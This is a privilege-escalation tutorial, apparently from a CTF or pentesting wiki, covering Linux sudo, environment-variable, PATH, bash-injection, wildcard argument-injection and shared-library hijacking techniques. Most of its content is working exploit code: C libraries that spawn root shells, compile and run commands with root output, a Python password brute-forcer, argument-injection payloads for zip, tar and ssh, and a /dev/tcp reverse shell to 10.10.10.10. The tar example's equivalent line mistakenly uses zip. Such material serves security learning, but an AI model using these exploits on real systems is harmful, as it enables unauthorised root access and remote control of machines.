Command Exploitation

Exploiting commands that are executed with elevated privileges to do more than you are supposed to

Exploitable Functionality

Now that we have a list of programs we are allowed to use, we can see if we can get a shell in any way. To do this you look up the program on GTFOBins. If it has the Sudo tag set, it means you can use it to get some form of elevated privileges.

Then just use the command to get a shell. With the /usr/bin/find binary it would be this for example:

sudo find . -exec /bin/sh \; -quit

Far from all binaries that are exploitable are included in this list. If you cannot find it there, because it is less known, look for yourself to see if any features that may be useful. The -h or --help and man pages can be helpful here. Features like exporting data to write files, or loading configs to read content in error messages are common ideas, but you can get very creative here.

Environment Variables

Just like command-line arguments and files on the filesystem, environment variables are just another piece of information a process can use. Some programs them in place of arguments, or to elicit specific behavior, and some of that behavior can be exploited.

Set for shell session
$ export VAR='Hello, world!'  # set permanently
$ env | grep VAR
VAR=Hello, world!
Set temporarely
$ VAR='Hello, world!' env | grep VAR  # env finds $VAR
VAR=Hello, world!
$ env | grep VAR  # env doesn't find it anymore

Which variables are useful depends on the program, and you can use Ghidra or canaries to find out which are used in what places. Here are a few common ones that have a special meaning and can often be exploited:

$LD_PRELOAD & $LD_LIBRARY_PATH

Two especially dangerous ones are LD_PRELOAD and LD_LIBRARY_PATH, because they allow you to overwrite the libc path of the program to another file that you can control. This means you can execute any C library you make before the real sudo program runs.

$ sudo -l
Matching Defaults entries for user on this host:
    env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

User user may run the following commands on this host:
    (root) NOPASSWD: /usr/sbin/apache2

The first LD_PRELOAD just specifies the direct path to the library. To compile a malicious library yourself just make some C code to execute a privileged shell, and compile it like a library:

preload.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        unsetenv("LD_PRELOAD");
        setresuid(0,0,0);  // Root permissions
        system("/bin/bash -p");  // Start bash shell
}
$ gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c

Now you have the malicious preload.so file that you can include by setting the LD_PRELOAD before running the allowed sudo program (make sure to use the full path):

$ sudo LD_PRELOAD=/tmp/preload.so /usr/sbin/apache2
# id
uid=0(root) gid=0(root) groups=0(root)

Then for the LD_LIBRARY_PATH option there is another similar way. This variable only sets the directory to find the other libraries in, so we first need to know what libraries are loaded to then overwrite them. Do this using ldd:

$ ldd /usr/sbin/apache2
        linux-vdso.so.1 =>  (0x00007fff8f5ff000)
        libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f52d4527000)
        libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007f52d4303000)
        libapr-1.so.0 => /usr/lib/libapr-1.so.0 (0x00007f52d40c9000)
        libpthread.so.0 => /lib/libpthread.so.0 (0x00007f52d3ead000)
        libc.so.6 => /lib/libc.so.6 (0x00007f52d3b41000)
        libuuid.so.1 => /lib/libuuid.so.1 (0x00007f52d393c000)
        librt.so.1 => /lib/librt.so.1 (0x00007f52d3734000)
        libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007f52d34fd000)
        libdl.so.2 => /lib/libdl.so.2 (0x00007f52d32f8000)
        libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007f52d30d0000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f52d49e4000)

We can choose any of these filenames to overwrite. Let's take libcrypt.so.1 for example. We'll again compile some C code to a valid library with the functions that it will expect:

library_path.c
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));  // Function that is called

void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);  // Root permissions
        system("/bin/bash -p");  // Start bash shell (keeping permissions)
}

Then we compile it again to a library and set the LD_LIBRARY_PATH to a directory containing our malicious library:

$ gcc -o /tmp/libcrypt.so.1 -shared -fPIC library_path.c
$ sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2
# id
uid=0(root) gid=0(root) groups=0(root)

$PATH

Suppose you found the SUID program executes service instead of /usr/sbin/service, then it will search through directories in the PATH variable containing a file named "service". But since we can change the PATH environment variable before executing the program, we could prepend a directory containing our own malicious program also named "service". When the service command is then executed by the SUID binary, it will actually run the malicious binary from our directory, allowing us to run arbitrary code.

When you find a vulnerable command, you can simply create a binary with the same name that does whatever you want:

ln -s /bin/bash /tmp/service

Then set the PATH variable before executing the vulnerable SUID program:

$ PATH=/tmp:$PATH ./vulnerable
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)

Writable $PATH for another user

The above example was focused on SUID binaries, but this idea of overwriting programs in the PATH variable goes further. If due to a misconfiguration you are able to write in one of the earlier $PATH directories for a user, you can create a binary with the same name again to overwrite.

/usr/local/service
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/1337 0>&1
$ chmod +x /usr/local/service  # Make executable

Attacking Bash Scripts

pageBash

Injecting Commands in Math

Bash scripts contain commands that are executed one by one. With logic like if for for this can become more powerful to script complex operations with support for user interaction. With this complexity also comes unexpected situations where an attacker can abuse your script in order to escape an environment or escalate privileges.

You can explicitly tell bash to evaluate a math expression using the $((EXPR)) syntax:

$ echo $((1+1))
2

The vulnerability is the fact that this math syntax allows substituting shell commands with the a[$(COMMAND)] syntax, normally used on array variables:

$ echo $((a[$(id)]))
bash: uid=1001(user) gid=1001(user) groups=1001(user): syntax error in expression (error token is "(user) gid=1001(user) groups=1001(user)")

This can be exploited in many different contexts and is definitely worth a try whenever you have input into a bash script. Take this innocent-looking example:

script.sh (Example)
#!/bin/bash
read -rp "Enter guess: " num
if [[ $num -eq 42 ]]; then
  echo "Correct"
fi

With the a[$(id)] input like above, this is vulnerable because math is evaluated here!

$ ./script.sh
Enter guess: a[$(id)]
./a.sh: line 3: uid=1001(user) gid=1001(user) groups=1001(user): syntax error in expression (error token is "(user) gid=1001(user) groups=1001(user)")

Here are some places where your input will be dangerously evaluated as a math expression:

  • $((here))

  • ((here))

  • ${var:here:here}

  • ${var[here]}

  • var[here]=...

  • [[ here -eq here ]] (and any others like -gt or -le)

Wildcards in [[ == expression

As this answer explains, there is a specific scenario where your user input can become a wildcard match by accident. An example is shown below:

Vulnerable example
#!/bin/bash

password='secret'
read -rp "Enter guess: " guess

if [[ $password == $guess ]]
then
  echo "Correct!"
  cat /flag.txt
else
  echo "Wrong"
  exit 1
fi

This piece of code seems like it only compares the string $password to $guess, and there should be no way to bypass it without knowing the password. However, when a * wildcard character is inputted, check passes as correct!

Enter guess: *
Correct!

This is because the [[ is a shell built-in that interprets its arguments slightly differently than a regular binary. Otherwise, it would be a glob pattern and replaced with all filenames that match the inputted pattern. In this case the right argument of an == operation in [[ is treated as a pattern instead of a literal string (note: single = is equivalent). If $guess were in quotes like "$guess" it would be taken literally, not as a pattern. Using [ instead of [[ also prevents this but developers like using the built-in more because it handles special characters better. And lastly, this also doesn't work if your malicious input is on the left side of the comparison.

Something even better than bypassing the password check is recovering the password it was checking against, which is also very possible using this wildcard trick. Because we can try a string like s* to see if that matches the password, and get a boolean response. Doing this for every first character we eventually find one that passes and thus find the first character. Continuing this we can find all other characters to recover the full password. This idea can even be improved to Binary Search performance by requesting ranges of characters instead of individual ones, here is an implementation:

import subprocess

def test(password):
    # Set your program and input method here
    process = subprocess.run(['./password.sh'], input=password.encode(),
                             stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    return b"Correct" in process.stdout

def escape(s): return ''.join([f'\\{c}' for c in s])

# Binary Search algorithm
def search_once(test_function, prefix=""):
    min = ord(' ')
    max = ord('~')

    while min <= max:
        mid = (min + max) // 2

        if test_function(f'{escape(prefix)}[{escape(chr(mid))}-~]*'):
            min = mid + 1
        else:
            max = mid - 1

    return chr(max)

# Keep searching until whole string found
def search(test_function):
    found = ""
    while True:
        found += search_once(test_function, prefix=found)
        print(found)

        if test_function(escape(found)):
            return found

print(search(test))  # secret

Argument Injection (Wildcards)

Bash allows you to use * wildcards in commands to insert any files that match the wildcard. This works by inserting all the matched files after each other separated by spaces in the command since most commands allow you to add as many files as you want by just adding more arguments.

Example
$ ls -l
total 276
drwxrwxr-x  2 user   user     4096 Aug 20 16:00 directory/
-rw-rw-r--  1 user   user        0 Aug 20 16:00 first
-rw-rw-r--  1 user   user        0 Aug 20 16:00 second
$ file *  # Wildcard
directory: directory
first:     empty
second:    empty
$ file directory first second  # Equivalent
directory: directory
first:     empty
second:    empty

The problem arises when you can create files starting with -, which are often flags to change the behavior of a command. Bash just pastes the files into the command, not bothering to check if any of them start with the - dash. This means we can add flags to the command and make it do different things.

With the file command, for example, something innocent we can do is use the -F option to change the : separator we saw earlier. Arguments often don't need a space character, so we can just create a file called -Fsomething to add this argument to the file command if the wildcard is used. Another common way to pass arguments is by using the = equals sign for -- arguments, like --separator=something. Here are two examples:

$ touch -- '-Fsomething'  # "Attack"
$ file *
directorysomething directory
firstsomething     empty
secondsomething    empty
$ rm -- '-Fsomething'  # Remove previous attack

$ touch -- --separator=something  # Other format
$ file *
directorysomething directory
firstsomething     empty
secondsomething    empty

Tip: Use the -- characters alone to not interpret the following arguments as flags. This is how you should secure a wildcard vulnerability like this, and also how you can easily place your payload using without touch thinking they're flags too.

One limitation you have is the fact that the * wildcard orders your arguments alphabetically. Luckily the - dash character comes before other alphanumeric characters, meaning our injected arguments will always be first. You just have to find a way to add arguments that allow you to do unintended things. Another bonus is that almost all special characters are allowed in filenames and arguments, many unexpected ones even, if you just escape enough with ' single quotes and/or escape sequences.

Common programs

ZIP

Vulnerable command
zip /tmp/backup.zip *
Exploit
$ nano shell.sh  # Any payload you want to execute
$ touch -- '-T'
$ touch -- '--unzip-command=sh shell.sh'

# # Equivelent result:
$ zip /tmp/backup.zip -T --unzip-command='sh shell.sh'

Tar

Vulnerable command
tar czf /tmp/backup.tar.gz *
Exploit
$ nano shell.sh  # Any payload you want to execute
$ touch -- '--checkpoint=1'
$ touch -- '--checkpoint-action=exec=sh shell.sh'

# # Equivelent result:
$ zip /tmp/backup.zip --checkpoint=1 --checkpoint-action=exec='sh shell.sh'

SSH

Vulnerable command
ssh "$input"@host command

Control over the start of any argument and at least one argument after your input can be exploitable. By injecting a ProxyCommand option with -o, the argument after becomes the host it tries to resolve. Even if this connection fails, the injected command will still execute:

$ export input='-oProxyCommand=;id>/tmp/pwned;'  # Any way your input ends up in ssh
$ ssh "$input"@host command  # Interprets $input as an option and command as the host
/bin/bash: @host: command not found
kex_exchange_identification: Connection closed by remote host
$ cat /tmp/pwned
uid=1001(user) gid=1001(user) groups=1001(user)

For more Argument Injection payloads like this for different tools, see the following two collections:

Shared Object Injection

This technique is a little more advanced. Programs often need libraries to do certain things, but sometimes you can overwrite some of these libraries with your own. Then the SUID program would load your malicious library instead of the normal one, executing your code.

You can find what libraries a program loads at runtime using strace and looking for opened files:

$ strace ./vulnerable 2>&1 | egrep -i "open|access|no such file"
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libdl.so.2", O_RDONLY)       = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY)        = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY)    = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)

In the example above, you can see a few libraries that it failed to access. The last one (libcalc.so) is in my user's /home directory, so we can write our own library there for it to be executed:

libcalc.c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
        setuid(0);
        system("/bin/bash -p");
}
Compile to a shared library
$ gcc -shared -fPIC -o /home/user/.config/libcalc.so libcalc.c

Then when the program loads /home/user/.config/libcalc.so, it will actually find our malicious library giving us a shell:

$ ./vulnerable
# id
uid=0(root) gid=1000(user) egid=50(staff) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)

Last updated